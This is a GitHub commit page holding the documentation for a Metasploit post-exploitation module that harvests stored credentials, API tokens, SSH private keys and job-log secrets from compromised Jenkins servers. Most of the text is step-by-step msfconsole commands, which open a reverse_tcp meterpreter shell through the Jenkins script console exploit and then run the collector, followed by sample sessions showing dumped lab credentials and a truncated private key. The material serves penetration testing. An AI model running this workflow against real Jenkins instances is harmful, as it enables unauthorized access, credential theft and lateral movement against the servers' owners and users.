Skip to content

Commit dd79aa3

Browse files
bwatters-r7bwatters-r7
committed
Land rapid7#8627, Add post module multi/gather/jenkins
2 parents e64eaf1 + 7d03368 commit dd79aa3

File tree

2 files changed

+632
-0
lines changed

2 files changed

+632
-0
lines changed

‎documentation/modules/post/multi/gather/jenkins_gather.md

Lines changed: 206 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,206 @@
1+
## Vulnerable Application
2+
3+
Official Source:
4+
[Jenkins](https://jenkins.io/download/)
5+
6+
This module has been verified against:
7+
8+
1. Jenkins 2.67 on Ubuntu 16.04 in Docker
9+
1. Jenkins 2.67 on Windows 7 SP 1
10+
1. Jenkins 2.60.1
11+
1. Jenkins 1.56
12+
13+
## Verification Steps
14+
15+
1. Set up Jenkins to obtain a shell (use Docker for quick setup)
16+
1. Run `docker run -p 8080:8080 -p 50000:50000 jenkins`
17+
1. Use the default setup and install "suggested plugins"
18+
1. Create new user admin, add a user or credential (via Manage Jenkins)
19+
1. Start msfconsole
20+
1. We'll use the `jenkins_script_console` module to quickly gain a shell
21+
1. Do: ```use exploit/multi/http/jenkins_script_console```
22+
1. Do: ```set RHOST 172.17.0.1```
23+
1. Do: ```set RPORT 8080```
24+
1. Do: ```set TARGETURI /```
25+
1. Do: ```set USERNAME admin```
26+
1. Do: ```set PASSWORD or set API_TOKEN```
27+
1. Do: ```set TARGET 1```
28+
1. Do: ```set PAYLOAD linux/x86/meterpreter/reverse_tcp```
29+
1. Do: ```set LHOST 192.168.56.105```
30+
1. Do: ```exploit -j```
31+
1. Do: ```use post/multi/gather/jenkins_gather```
32+
1. Do: ```set SESSION 1```
33+
1. Do: ```run```
34+
1. You should see the saved credentials output
35+
36+
## Options
37+
38+
**SEARCH_JOBS**
39+
40+
This option searches through the `jobs` folder for interesting
41+
keywords but obviously increases runtime on larger instances.
42+
43+
**STORE_LOOT**
44+
45+
This option saves interesting files and loot to disk. If set to
46+
false will simply output data to console.
47+
48+
## Scenarios
49+
50+
**Jenkins on Windows**
51+
52+
```
53+
msf post(jenkins_gather) > sessions
54+
55+
Active sessions
56+
===============
57+
58+
Id Type Information Connection
59+
-- ---- ----------- ----------
60+
18 shell x86/linux 192.168.56.105:4444 -> 192.168.56.1:58828 (172.17.0.1)
61+
20 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 192.168.56.105:4444 -> 192.168.56.1:58974 (172.17.0.2)
62+
21 meterpreter x86/windows NT AUTHORITY\SYSTEM @ kali 192.168.56.105:4444 -> 192.168.56.101:50427 (192.168.56.101)
63+
23 shell x86/windows 192.168.56.105:4444 -> 192.168.56.101:50793 (192.168.56.101)
64+
65+
msf post(jenkins_gather) > info
66+
67+
Name: Jenkins Credential Collector
68+
Module: post/multi/gather/jenkins_gather
69+
Platform: Linux, Windows
70+
Arch:
71+
Rank: Normal
72+
73+
Provided by:
74+
thesubtlety
75+
76+
Basic options:
77+
Name Current Setting Required Description
78+
---- --------------- -------- -----------
79+
SEARCH_JOBS true no Search through job history logs for interesting keywords. Increases runtime.
80+
SESSION 17 yes The session to run this module on.
81+
STORE_LOOT true no Store files in loot (will simply output file to console if set to false).
82+
83+
Description:
84+
This module can be used to extract saved Jenkins credentials, user
85+
tokens, SSH keys, and secrets. Interesting files will be stored in
86+
loot along with combined csv output.
87+
88+
89+
msf post(jenkins_gather) > run
90+
91+
[*] Searching for Jenkins directory... This could take some time...
92+
[*] Found Jenkins installation at C:\Program Files\Jenkins
93+
[+] Credentials found - Username: user1 Password: Password123456
94+
[+] SSH Key found! ID: 83c6a18f-6b35-420a-8534-cc505c3347b5 Passphrase: secretpassphrase123 Username: sshkey1 Description: interesting description
95+
[+] Job Info found - Job Name: User: testpass Password: secretpass123
96+
[+] Job Info found - Job Name: User: testpass Password: ohwowosupersecret
97+
[+] Node Info found - Name: test Host: hostnode1.lab.local Port: 22 CredID: 972fc428-dd7c-46ea-a119-be78ae0866ad
98+
[+] API Token found - Username: admin Token: 8a114e0fa48c1a489c39b98e94c986c8
99+
[+] API Token found - Username: useruseruser Token: 6810c3f6ccca939ac2a8b8ac4b9de012
100+
[*] Searching through job history for interesting bits...
101+
[+] Job Log truffles:
102+
C:\Program Files\Jenkins\jobs\asdf\builds\4\log:C:\Program Files\Jenkins\workspace\asdf>echo "secret is secret"
103+
C:\Program Files\Jenkins\jobs\asdf\builds\4\log:"secret is secret"
104+
...
105+
C:\Program Files\Jenkins\jobs\asdf\lastSuccessful\log:C:\Program Files\Jenkins\workspace\asdf>echo "secret is secret"
106+
C:\Program Files\Jenkins\jobs\asdf\lastSuccessful\log:"secret is secret"
107+
[+]
108+
Creds
109+
=====
110+
111+
Username Password Description
112+
-------- -------- -----------
113+
114+
testpass secretpass123
115+
testpass ohwowosupersecret
116+
user1 Password123456
117+
118+
[+]
119+
API Keys
120+
========
121+
122+
Username API Tokens
123+
-------- ----------
124+
admin 8a114e0fa48c1a489c39b98e94c986c8
125+
useruseruser 6810c3f6ccca939ac2a8b8ac4b9de012
126+
127+
[+]
128+
Nodes
129+
=====
130+
131+
Node Name Hostname Port Description Cred Id
132+
--------- -------- ---- ----------- -------
133+
test hostnode1.lab.local 22 testtesttest 972fc428-dd7c-46ea-a119-be78ae0866ad
134+
135+
[+] SSH Key
136+
[*] ID: 83c6a18f-6b35-420a-8534-cc505c3347b5
137+
[*] Description: interesting description
138+
[*] Passphrase: secretpassphrase123
139+
[*] Username: sshkey1
140+
[*]
141+
-----BEGIN RSA PRIVATE KEY-----
142+
MIIEowIBAAKCAQEAuTfL0ijR0JDLTQC092ZolnkTJGRi7YQInK/K1ZFDFc44JOSU
143+
...snip...
144+
7Ad+Ja6+51ECnXJIFKPj7binB6/C10YVqHh4KON3DeA6ZA7ZpUko
145+
-----END RSA PRIVATE KEY-----
146+
147+
[*] Post module execution completed
148+
149+
150+
```
151+
152+
**Jenkins 2.67 on Ubuntu 16.04**
153+
154+
```
155+
msf post(jenkins_gather) > set session 20
156+
session => 18
157+
msf post(jenkins_gather) > info
158+
159+
Name: Jenkins Credential Collector
160+
Module: post/multi/gather/jenkins_gather
161+
Platform: Linux, Windows
162+
Arch:
163+
Rank: Normal
164+
165+
Provided by:
166+
thesubtlety
167+
168+
Basic options:
169+
Name Current Setting Required Description
170+
---- --------------- -------- -----------
171+
SEARCH_JOBS true no Search through job history logs for interesting keywords. Increases runtime.
172+
SESSION 17 yes The session to run this module on.
173+
STORE_LOOT true no Store files in loot (will simply output file to console if set to false).
174+
175+
Description:
176+
This module can be used to extract saved Jenkins credentials, user
177+
tokens, SSH keys, and secrets. Interesting files will be stored in
178+
loot along with combined csv output.
179+
180+
msf post(jenkins_gather) > run
181+
182+
[*] Searching for Jenkins directory... This could take some time...
183+
[*] Found Jenkins installation at /root/.jenkins
184+
[+] Credentials found - Username: thanksforthefish Password: whatagreatbook
185+
[+] API Token found - Username: user1 Token: 859e1d6ee6ab85804434fa5395ab962d
186+
[+] API Token found - Username: admin Token: 9da706c125a4b5a4c19b1f799723175c
187+
[*] Searching through job history for interesting bits...
188+
[+]
189+
Creds
190+
=====
191+
192+
Username Password Description
193+
-------- -------- -----------
194+
thanksforthefish whatagreatbook
195+
196+
[+]
197+
API Keys
198+
========
199+
200+
Username API Tokens
201+
-------- ----------
202+
admin 9da706c125a4b5a4c19b1f799723175c
203+
user1 859e1d6ee6ab85804434fa5395ab962d
204+
205+
[*] Post module execution completed
206+
```

0 commit comments

Comments
 (0)